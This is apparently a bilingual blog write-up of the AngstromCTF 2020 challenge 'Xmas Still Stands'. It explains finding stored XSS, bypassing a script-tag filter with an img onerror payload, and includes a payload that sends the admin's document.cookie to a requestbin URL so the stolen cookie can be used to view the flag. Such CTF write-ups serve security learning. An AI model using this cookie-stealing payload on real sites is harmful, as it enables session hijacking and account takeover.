はまやんはまやんはまやん

hamayanhamayan's blog

Xmas Still Stands [AngstromCTF 2020]

https://ctftime.org/task/10756

日本語は下

Writeup in English

At the beginning

The following information can be obtained by patrolling the page.

  • You can post any string on the /post page
    • After posting, you will be given a number to display it, and you can browse the posted string by accessing it.
  • In the /report page, the string posted on the post page can be shown to the administrator (maybe)
  • The /admin page looks like an admin site
    • All you need is the secret cookie verifying that you're an admin and you can get the flag anytime you want.
    • I need to give you a special cookie.

So, you can guess the flow of giving the XSS code on the post page, showing it to the administrator, extracting the cookie, and viewing the flag with Admin.

Try XXS

Try various characters in post and try XSS.

  • <script>alert('XSS')</script> -> white space comes back.
  • <img src=x onerror=alert('XSS');> -> success!

It seems that only a script tag is protected, so use a img tag to write code to get cookies. Let's use requestbin as a receiving point.

<img src=x onerror=this.src='http://requestbin.net/r/XXXXXX?c='+document.cookie>

Now you can get the cookie. Use EditThisCookie and go to /admin. The flag will be displayed.

以下、日本語

初めに

ページを巡回すると以下のような情報が得られる。

  • /postページにて任意の文字列を投稿できる
    • 投稿後はその文字列を表示する番号が与えられ、それにアクセスすると投稿した文字列を閲覧できる
  • /reportページにて、postページで投稿した文字列を管理者に見せることができる(っぽい)
  • /adminページは管理者向けサイトっぽい
    • All you need is the secret cookie verifying that you're an admin and you can get the flag anytime you want.と記述があり、特殊なクッキーを与えてやる必要があるみたいだ

となっているので、postページでXSSコードを与えて、管理者に見せてクッキーを抜き出して、Adminでフラグ確認という流れと推測できる。

XXSできないだろうか

postでいろいろな文字列を入れてXSSできないか試す。

  • <script>alert('XSS')</script> 空白が帰ってくる
  • <img src=x onerror=alert('XSS');> 成功する

と、scriptタグだけ対策されてるっぽいので、imgを使って、クッキーを抜き出すコードを書く。 requestbinを受け取り口としよう。

<img src=x onerror=this.src='http://requestbin.net/r/XXXXXX?c='+document.cookie>

これでクッキーが得られるので、EditThisCookie使って突っ込んで/adminを表示するとフラグが表示される。